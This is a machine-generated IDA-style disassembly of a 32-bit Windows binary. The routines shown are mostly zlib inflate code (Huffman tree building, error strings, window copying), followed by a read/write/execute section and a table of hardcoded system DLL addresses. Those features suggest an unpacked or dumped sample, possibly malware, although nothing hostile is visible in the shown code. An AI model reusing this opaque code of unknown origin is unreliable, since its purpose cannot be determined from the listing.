CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+1Ch] ; jumptable 00420361 case 6 mov [eax], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary" and dword ptr [eax+4], 0 loc_420630: ; CODE XREF: sub_42031E+Dj ; sub_42031E+16j ... push 0FFFFFFFEh ; default loc_420632: ; CODE XREF: sub_42031E+2FDj ; sub_42031E+325j ... pop eax loc_420633: ; CODE XREF: sub_42031E+23Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420638: ; CODE XREF: sub_42031E+228j mov eax, [esi+1Ch] mov dword ptr [eax], 0Ch loc_420641: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o push 1 ; jumptable 00420361 case 12 jmp short loc_420632 ; --------------------------------------------------------------------------- loc_420645: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o push 0FFFFFFFDh ; jumptable 00420361 case 13 jmp short loc_420632 sub_42031E endp ; --------------------------------------------------------------------------- off_420649 dd offset loc_420368 ; DATA XREF: sub_42031E+43r dd offset loc_4203C9 ; jump table for switch statement dd offset loc_42056D dd offset loc_420597 dd offset loc_4205C1 dd offset loc_4205EB dd offset loc_42061D dd offset loc_420434 dd offset loc_420499 dd offset loc_4204C7 dd offset loc_4204F5 dd offset loc_42051F dd offset loc_420641 dd offset loc_420645 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420681 proc near ; CODE XREF: sub_41EF26+3C5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_10] push 4 push 13h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_10], eax test eax, eax jnz short loc_4206A6 push 0FFFFFFFCh pop eax jmp short loc_4206FD ; --------------------------------------------------------------------------- loc_4206A6: ; CODE XREF: sub_420681+1Ej push ebx push eax lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_8] push 0 push 0 push 13h push 13h push [ebp+arg_0] call sub_420700 mov ebx, eax add esp, 28h cmp ebx, 0FFFFFFFDh jnz short loc_4206D8 mov dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_4206EF ; --------------------------------------------------------------------------- loc_4206D8: ; CODE XREF: sub_420681+4Cj cmp ebx, 0FFFFFFFBh jz short loc_4206E5 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_4206EF loc_4206E5: ; CODE XREF: sub_420681+5Aj push 0FFFFFFFDh mov dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" pop ebx loc_4206EF: ; CODE XREF: sub_420681+55j ; sub_420681+62j push [ebp+arg_10] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, ebx pop ecx pop ebx loc_4206FD: ; CODE XREF: sub_420681+23j pop esi leave retn sub_420681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420700 proc near ; CODE XREF: sub_420681+3Fp ; sub_420A87+52p ... var_F0 = dword ptr -0F0h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 0F0h mov ecx, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] xor edx, edx mov [ebp+var_74], edx mov [ebp+var_70], edx mov [ebp+var_6C], edx mov [ebp+var_68], edx mov [ebp+var_64], edx mov [ebp+var_60], edx mov [ebp+var_5C], edx mov [ebp+var_58], edx mov [ebp+var_54], edx mov [ebp+var_50], edx mov [ebp+var_4C], edx mov [ebp+var_48], edx mov [ebp+var_44], edx mov [ebp+var_40], edx mov [ebp+var_3C], edx mov [ebp+var_38], edx mov esi, edi loc_420746: ; CODE XREF: sub_420700+54j mov eax, [ecx] add ecx, 4 inc [ebp+eax*4+var_74] lea eax, [ebp+eax*4+var_74] dec esi jnz short loc_420746 cmp [ebp+var_74], edi jnz short loc_42076C mov eax, [ebp+arg_14] mov [eax], edx mov eax, [ebp+arg_18] mov [eax], edx loc_420765: ; CODE XREF: sub_420700+36Fj ; sub_420700+379j xor eax, eax loc_420767: ; CODE XREF: sub_420700+382j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42076C: ; CODE XREF: sub_420700+59j mov edi, [ebp+arg_18] push 1 pop ebx lea eax, [ebp+var_70] mov esi, [edi] mov ecx, ebx mov [ebp+arg_18], esi loc_42077C: ; CODE XREF: sub_420700+87j cmp [eax], edx jnz short loc_420789 inc ecx add eax, 4 cmp ecx, 0Fh jbe short loc_42077C loc_420789: ; CODE XREF: sub_420700+7Ej cmp esi, ecx mov [ebp+var_4], ecx jnb short loc_420793 mov [ebp+arg_18], ecx loc_420793: ; CODE XREF: sub_420700+8Ej push 0Fh lea esi, [ebp+var_38] pop eax loc_420799: ; CODE XREF: sub_420700+A3j cmp [esi], edx jnz short loc_4207A5 dec eax sub esi, 4 cmp eax, edx jnz short loc_420799 loc_4207A5: ; CODE XREF: sub_420700+9Bj cmp [ebp+arg_18], eax mov [ebp+var_18], eax jbe short loc_4207B0 mov [ebp+arg_18], eax loc_4207B0: ; CODE XREF: sub_420700+ABj mov esi, [ebp+arg_18] shl ebx, cl cmp ecx, eax mov [edi], esi jnb short loc_4207D1 lea esi, [ebp+ecx*4+var_74] loc_4207BF: ; CODE XREF: sub_420700+CFj sub ebx, [esi] js loc_4208F7 inc ecx add esi, 4 shl ebx, 1 cmp ecx, eax jb short loc_4207BF loc_4207D1: ; CODE XREF: sub_420700+B9j mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_74] lea ecx, [ebp+esi+var_74] sub ebx, edi mov [ebp+var_30], ebx js loc_4208F7 add edi, ebx mov [ebp+var_B0], edx mov [ecx], edi xor ecx, ecx dec eax jz short loc_42080B xor edi, edi loc_4207FA: ; CODE XREF: sub_420700+109j add ecx, [ebp+edi+var_70] add edi, 4 dec eax mov [ebp+edi+var_B0], ecx jnz short loc_4207FA loc_42080B: ; CODE XREF: sub_420700+F6j mov ebx, [ebp+arg_0] xor edi, edi loc_420810: ; CODE XREF: sub_420700+136j mov eax, [ebx] add ebx, 4 cmp eax, edx jz short loc_420832 mov ecx, [ebp+eax*4+var_B4] mov edx, [ebp+arg_24] lea eax, [ebp+eax*4+var_B4] mov [edx+ecx*4], edi inc ecx mov [eax], ecx xor edx, edx loc_420832: ; CODE XREF: sub_420700+117j inc edi cmp edi, [ebp+arg_4] jb short loc_420810 mov eax, [ebp+esi+var_B4] mov ebx, [ebp+arg_18] or [ebp+var_8], 0FFFFFFFFh mov [ebp+arg_4], eax mov eax, [ebp+arg_24] mov [ebp+var_C], edx mov [ebp+var_10], eax mov eax, [ebp+var_4] neg ebx cmp eax, [ebp+var_18] mov [ebp+var_B4], edx mov [ebp+var_F0], edx mov [ebp+var_1C], edx mov [ebp+arg_0], edx jg loc_420A6C mov edi, [ebp+var_24] lea ecx, [eax-1] lea eax, [ebp+eax*4+var_74] mov [ebp+var_2C], ecx mov [ebp+var_20], eax loc_420882: ; CODE XREF: sub_420700+366j mov eax, [ebp+var_20] mov eax, [eax] mov ecx, eax dec eax test ecx, ecx mov [ebp+var_14], eax jz loc_420A56 loc_420895: ; CODE XREF: sub_420700+350j mov eax, [ebp+arg_18] add eax, ebx cmp [ebp+var_4], eax jle loc_420981 loc_4208A3: ; CODE XREF: sub_420700+279j mov ecx, [ebp+arg_18] inc [ebp+var_8] add eax, ecx add ebx, ecx mov [ebp+var_34], eax mov eax, [ebp+var_18] sub eax, ebx cmp eax, ecx mov [ebp+arg_0], eax jbe short loc_4208BF mov [ebp+arg_0], ecx loc_4208BF: ; CODE XREF: sub_420700+1BAj mov ecx, [ebp+var_4] mov edx, [ebp+var_14] push 1 sub ecx, ebx pop eax shl eax, cl inc edx cmp eax, edx jbe short loc_4208FE mov esi, [ebp+var_20] or edx, 0FFFFFFFFh sub edx, [ebp+var_14] add eax, edx cmp ecx, [ebp+arg_0] jnb short loc_4208FE loc_4208E1: ; CODE XREF: sub_420700+1F5j inc ecx cmp ecx, [ebp+arg_0] jnb short loc_4208FE mov edx, [esi+4] add esi, 4 shl eax, 1 cmp eax, edx jbe short loc_4208FE sub eax, edx jmp short loc_4208E1 ; --------------------------------------------------------------------------- loc_4208F7: ; CODE XREF: sub_420700+C1j ; sub_420700+E3j ... push 0FFFFFFFDh jmp loc_420A81 ; --------------------------------------------------------------------------- loc_4208FE: ; CODE XREF: sub_420700+1CFj ; sub_420700+1DFj ... mov eax, [ebp+arg_20] push 1 pop edx mov eax, [eax] shl edx, cl mov [ebp+arg_0], edx lea esi, [eax+edx] cmp esi, 5A0h ja short loc_4208F7 mov edx, [ebp+arg_1C] lea eax, [edx+eax*8] mov edx, [ebp+var_8] mov [ebp+var_1C], eax lea edx, [ebp+edx*4+var_F0] mov [edx], eax mov eax, [ebp+arg_20] mov [eax], esi mov eax, [ebp+var_8] test eax, eax jz short loc_42096B mov esi, [ebp+var_C] mov edi, [ebp+var_1C] mov [ebp+eax*4+var_B4], esi mov eax, [ebp+arg_18] mov byte ptr [ebp+var_28], cl mov ecx, ebx mov byte ptr [ebp+var_28+1], al sub ecx, eax mov eax, esi shr eax, cl mov ecx, [edx-4] mov edx, [ebp+var_28] sub edi, ecx sar edi, 3 sub edi, eax mov [ecx+eax*8], edx mov [ecx+eax*8+4], edi jmp short loc_420973 ; --------------------------------------------------------------------------- loc_42096B: ; CODE XREF: sub_420700+235j mov eax, [ebp+arg_14] mov ecx, [ebp+var_1C] mov [eax], ecx loc_420973: ; CODE XREF: sub_420700+269j mov eax, [ebp+var_34] cmp [ebp+var_4], eax jg loc_4208A3 xor edx, edx loc_420981: ; CODE XREF: sub_420700+19Dj mov al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_4] sub al, bl mov byte ptr [ebp+var_28+1], al mov eax, [ebp+arg_24] lea ecx, [eax+ecx*4] mov eax, [ebp+var_10] cmp eax, ecx jb short loc_42099F mov byte ptr [ebp+var_28], 0C0h jmp short loc_4209D6 ; --------------------------------------------------------------------------- loc_42099F: ; CODE XREF: sub_420700+297j mov eax, [eax] cmp eax, [ebp+arg_8] jnb short loc_4209BA cmp eax, 100h mov edi, eax sbb cl, cl and cl, 0A0h add cl, 60h mov byte ptr [ebp+var_28], cl jmp short loc_4209D2 ; --------------------------------------------------------------------------- loc_4209BA: ; CODE XREF: sub_420700+2A4j sub eax, [ebp+arg_8] mov ecx, [ebp+arg_10] shl eax, 2 mov cl, [eax+ecx] add cl, 50h mov byte ptr [ebp+var_28], cl mov ecx, [ebp+arg_C] mov edi, [eax+ecx] loc_4209D2: ; CODE XREF: sub_420700+2B8j add [ebp+var_10], 4 loc_4209D6: ; CODE XREF: sub_420700+29Dj mov ecx, [ebp+var_4] mov eax, [ebp+var_C] push 1 sub ecx, ebx pop esi shl esi, cl mov ecx, ebx shr eax, cl cmp eax, [ebp+arg_0] jnb short loc_420A0A mov ecx, [ebp+var_1C] lea ecx, [ecx+eax*8] loc_4209F2: ; CODE XREF: sub_420700+306j mov edx, [ebp+var_28] add eax, esi mov [ecx], edx mov edx, esi shl edx, 3 mov [ecx+4], edi add ecx, edx cmp eax, [ebp+arg_0] jb short loc_4209F2 xor edx, edx loc_420A0A: ; CODE XREF: sub_420700+2EAj mov ecx, [ebp+var_2C] push 1 pop eax shl eax, cl mov ecx, [ebp+var_C] loc_420A15: ; CODE XREF: sub_420700+31Dj test eax, ecx jz short loc_420A1F xor ecx, eax shr eax, 1 jmp short loc_420A15 ; --------------------------------------------------------------------------- loc_420A1F: ; CODE XREF: sub_420700+317j xor ecx, eax mov eax, [ebp+var_8] mov [ebp+var_C], ecx lea eax, [ebp+eax*4+var_B4] loc_420A2E: ; CODE XREF: sub_420700+346j push 1 mov ecx, ebx pop esi shl esi, cl dec esi and esi, [ebp+var_C] cmp esi, [eax] jz short loc_420A48 dec [ebp+var_8] sub eax, 4 sub ebx, [ebp+arg_18] jmp short loc_420A2E ; --------------------------------------------------------------------------- loc_420A48: ; CODE XREF: sub_420700+33Bj mov eax, [ebp+var_14] dec [ebp+var_14] test eax, eax jnz loc_420895 loc_420A56: ; CODE XREF: sub_420700+18Fj inc [ebp+var_4] add [ebp+var_20], 4 mov eax, [ebp+var_4] inc [ebp+var_2C] cmp eax, [ebp+var_18] jle loc_420882 loc_420A6C: ; CODE XREF: sub_420700+16Cj cmp [ebp+var_30], edx jz loc_420765 cmp [ebp+var_18], 1 jz loc_420765 push 0FFFFFFFBh loc_420A81: ; CODE XREF: sub_420700+1F9j pop eax jmp loc_420767 sub_420700 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420A87 proc near ; CODE XREF: sub_41EF26+56Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_20] push 4 push 120h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_20], eax test eax, eax jnz short loc_420AB2 push 0FFFFFFFCh pop eax jmp loc_420B87 ; --------------------------------------------------------------------------- loc_420AB2: ; CODE XREF: sub_420A87+21j push ebx push edi push eax lea eax, [ebp+var_4] push eax mov ebx, [ebp+arg_0] push [ebp+arg_1C] mov edi, 101h push [ebp+arg_C] push [ebp+arg_14] push offset dword_421124 push offset dword_4210A8 push edi push ebx push [ebp+arg_8] call sub_420700 add esp, 28h test eax, eax jnz short loc_420B59 mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jz short loc_420B6C push [ebp+arg_20] lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push [ebp+arg_1C] lea eax, [eax+ebx*4] push [ebp+arg_10] push [ebp+arg_18] push offset dword_421218 push offset dword_4211A0 push 0 push [ebp+arg_4] push eax call sub_420700 add esp, 28h test eax, eax jnz short loc_420B2F mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_420B2B cmp ebx, edi ja short loc_420B50 loc_420B2B: ; CODE XREF: sub_420A87+9Ej xor edi, edi jmp short loc_420B78 ; --------------------------------------------------------------------------- loc_420B2F: ; CODE XREF: sub_420A87+96j cmp eax, 0FFFFFFFDh jnz short loc_420B3D mov dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree" jmp short loc_420B76 ; --------------------------------------------------------------------------- loc_420B3D: ; CODE XREF: sub_420A87+ABj cmp eax, 0FFFFFFFBh jnz short loc_420B4B mov dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree" jmp short loc_420B73 ; --------------------------------------------------------------------------- loc_420B4B: ; CODE XREF: sub_420A87+B9j cmp eax, 0FFFFFFFCh jz short loc_420B76 loc_420B50: ; CODE XREF: sub_420A87+A2j mov dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" jmp short loc_420B73 ; --------------------------------------------------------------------------- loc_420B59: ; CODE XREF: sub_420A87+5Cj cmp eax, 0FFFFFFFDh jnz short loc_420B67 mov dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree" jmp short loc_420B76 ; --------------------------------------------------------------------------- loc_420B67: ; CODE XREF: sub_420A87+D5j cmp eax, 0FFFFFFFCh jz short loc_420B76 loc_420B6C: ; CODE XREF: sub_420A87+64j mov dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree" loc_420B73: ; CODE XREF: sub_420A87+C2j ; sub_420A87+D0j push 0FFFFFFFDh pop eax loc_420B76: ; CODE XREF: sub_420A87+B4j ; sub_420A87+C7j ... mov edi, eax loc_420B78: ; CODE XREF: sub_420A87+A6j push [ebp+arg_20] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, edi pop ecx pop edi pop ebx loc_420B87: ; CODE XREF: sub_420A87+26j pop esi leave retn sub_420A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B8A proc near ; CODE XREF: sub_41EF26+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, ds:dword_422120 mov [eax], ecx mov eax, [ebp+arg_4] mov ecx, ds:dword_422124 mov [eax], ecx mov eax, [ebp+arg_8] mov dword ptr [eax], offset dword_422128 mov eax, [ebp+arg_C] mov dword ptr [eax], offset dword_423128 xor eax, eax pop ebp retn sub_420B8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB9 proc near ; CODE XREF: sub_41EF26+1F0p ; sub_41EF26+846p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov edx, [ebx+30h] push edi mov edi, [ebx+34h] mov eax, [esi+0Ch] cmp edx, edi mov [ebp+var_8], eax mov [ebp+arg_0], edx jbe short loc_420BDD mov edi, [ebx+2Ch] loc_420BDD: ; CODE XREF: sub_420BB9+1Fj mov eax, [esi+10h] sub edi, edx cmp edi, eax mov [ebp+var_4], edi jbe short loc_420BEE mov [ebp+var_4], eax mov edi, eax loc_420BEE: ; CODE XREF: sub_420BB9+2Ej test edi, edi jz short loc_420BFC cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_420BFC and [ebp+arg_8], 0 loc_420BFC: ; CODE XREF: sub_420BB9+37j ; sub_420BB9+3Dj add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_420C1E push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_420C1E: ; CODE XREF: sub_420BB9+50j mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax add [ebp+arg_0], eax and ecx, 3 rep movsb mov eax, [ebx+2Ch] cmp [ebp+arg_0], eax jnz short loc_420CB7 mov edx, [ebx+28h] cmp [ebx+34h], eax mov [ebp+arg_0], edx jnz short loc_420C52 mov [ebx+34h], edx loc_420C52: ; CODE XREF: sub_420BB9+94j mov esi, [ebp+arg_4] mov edi, [ebx+34h] sub edi, edx mov eax, [esi+10h] mov [ebp+var_4], edi cmp edi, eax jbe short loc_420C69 mov [ebp+var_4], eax mov edi, eax loc_420C69: ; CODE XREF: sub_420BB9+A9j test edi, edi jz short loc_420C77 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_420C77 and [ebp+arg_8], 0 loc_420C77: ; CODE XREF: sub_420BB9+B2j ; sub_420BB9+B8j add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_420C99 push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_420C99: ; CODE XREF: sub_420BB9+CBj mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax and ecx, 3 add [ebp+arg_0], eax rep movsb loc_420CB7: ; CODE XREF: sub_420BB9+89j mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] pop edi pop esi mov [eax+0Ch], ecx mov eax, [ebp+arg_0] mov [ebx+30h], eax mov eax, [ebp+arg_8] pop ebx leave retn sub_420BB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CCE proc near ; CODE XREF: sub_414C5A+32Cp var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] push esi mov esi, [ebp+arg_4] mov [ebp+var_38], eax mov eax, [ebp+arg_C] and [ebp+var_18], 0 mov [ebp+var_34], eax mov eax, [ebp+arg_0] and [ebp+var_14], 0 mov [ebp+var_2C], eax mov eax, [esi] push edi mov [ebp+var_28], eax push 38h lea eax, [ebp+var_38] push offset byte_4220A8 push eax call sub_420306 add esp, 0Ch test eax, eax jnz short loc_420D49 lea eax, [ebp+var_38] push 4 push eax call sub_42031E mov edi, eax pop ecx cmp edi, 1 pop ecx jz short loc_420D3A lea eax, [ebp+var_38] push eax call sub_4201DB test edi, edi pop ecx jnz short loc_420D36 push 0FFFFFFFBh pop eax jmp short loc_420D49 ; --------------------------------------------------------------------------- loc_420D36: ; CODE XREF: sub_420CCE+61j mov eax, edi jmp short loc_420D49 ; --------------------------------------------------------------------------- loc_420D3A: ; CODE XREF: sub_420CCE+53j mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_4201DB pop ecx loc_420D49: ; CODE XREF: sub_420CCE+3Fj ; sub_420CCE+66j ... pop edi pop esi leave retn sub_420CCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D4D proc near ; DATA XREF: sub_42021C+41o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] push eax call sub_41BA4A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_420D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D67 proc near ; DATA XREF: sub_42021C+50o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] call sub_41BACD pop ecx leave retn sub_420D67 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D80 proc near ; CODE XREF: sub_411BAD+5j ; _3:00411BB7j push ebp mov ebp, esp push offset aApiNopefunc ; ":API:NopeFunc" call sub_41BBE7 pop ebp retn sub_420D80 endp ; sp-analysis failed _3 ends ; Section 5. (virtual address 00021000) ; Virtual size : 00000CC4 ( 3268.) ; Section size in file : 00000CC4 ( 3268.) ; Offset to raw data for section: 00021000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _4 segment para public 'CODE' use32 assume cs:_4 ;org 421000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_421000 dd 77E79908h ; DATA XREF: sub_411310+3ADr ; sub_411DF0+46r ... dword_421004 dd 77E7A5FDh ; DATA XREF: sub_411310+1D9r ; sub_411310+1EDr ... dword_421008 dd 77E79A45h ; DATA XREF: sub_411310+1A5r ; sub_411310+398r ... dword_42100C dd 77E6D706h ; DATA XREF: sub_411310+12Br ; sub_411310+173r ... dword_421010 dd 77E79881h ; DATA XREF: sub_411310+1Ar ; sub_411310+108r ... dword_421014 dd 77E79F93h ; DATA XREF: sub_411310+Ar ; sub_411310+1B0r ... dword_421018 dd 77F7E300h ; DATA XREF: sub_410060+4r ; sub_41314B+15r ... dword_42101C dd 77F7E21Fh ; DATA XREF: sub_410000+2Cr ; sub_413056+65r ... dword_421020 dd 77E6E154h ; DATA XREF: sub_41A8B3+114r dword_421024 dd 77E61A90h ; DATA XREF: sub_41AB84+3Ar ; sub_41AB84+7Cr ... dword_421028 dd 77E62050h ; DATA XREF: _3:0041E109r dword_42102C dd 77E641EBh ; DATA XREF: sub_410D4F+59r ; sub_410D4F+8Dr dword_421030 dd 77E781F9h ; DATA XREF: sub_410A10+42r ; sub_410A10+14Dr ... dword_421034 dd 77F6183Eh ; DATA XREF: sub_410F00r dword_421038 dd 77E79924h ; DATA XREF: sub_410A10+20Dr dword_42103C dd 77E77CCEh ; DATA XREF: sub_410A10+DFr ; sub_410A10+137r ... dword_421040 dd 77E77405h ; DATA XREF: sub_410A10+5Er ; sub_410A10+A7r dword_421044 dd 77E7C866h ; DATA XREF: sub_410D4F+3Fr ; sub_410D4F+12Dr dd 0 dword_42104C dd 77D46F5Bh ; DATA XREF: sub_41015E+ADr dd 2 dup(0) dword_421058 dd 10h ; DATA XREF: sub_41EF26+36Fr ; sub_41EF26+3A0r dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh, 0FFFF0000h dword_4210A8 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_420A87+48o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_421124 dd 8 dup(0) ; DATA XREF: sub_420A87+43o dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_4211A0 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_420A87+81o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_421218 dd 4 dup(0) ; DATA XREF: sub_420A87+7Co dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_421290 dd 0FFFFFFFFh, 0 ; DATA XREF: _3:00412BD5o dd offset dword_412D44+0C0h align 10h dd offset dword_412D44+90h dd offset dword_412D44+96h dword_4212A8 dd 0FFFFFFFFh, 0 ; DATA XREF: _3:00412E55o dd offset sub_41302C align 8 dword_4212B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413056+5o dd offset sub_41314B align 8 dword_4212C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413272+5o dd offset sub_41363F align 8 dword_4212D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_410000+5o dd offset sub_41005D align 8 dword_4212E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4136FE+5o dd offset sub_413809 align 8 dword_4212F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413838+5o dd offset sub_41393D align 8 dword_421308 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41396C+5o dd offset sub_413CC7 dd 2 dup(0) dd offset sub_413AB3 dword_421320 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413D44+5o dd offset loc_413EBE align 10h dword_421330 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413EED+5o dd offset loc_413FB0 align 10h dword_421340 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413FDF+5o dd offset loc_4141CF align 10h dword_421350 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_414214+5o dd offset sub_414315 align 10h dword_421360 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41441F+5o dd offset sub_414641 align 10h dword_421370 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_414670+5o dd offset sub_414710 align 10h dword_421380 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41473F+5o dd offset loc_414827 align 10h dword_421390 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_414856+5o dd offset sub_41491F align 10h dword_4213A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41494E+5o dd offset sub_4149DF align 10h dword_4213B0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_414C5A+5o dd offset sub_414E9B align 10h dword_4213C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_415175+5o dd offset sub_41543F align 10h dword_4213D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41553D+5o dd offset sub_415848 align 10h dword_4213E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_415867+5o dd offset sub_415924 align 10h dword_4213F0 dd 0FFFFFFFFh, 0 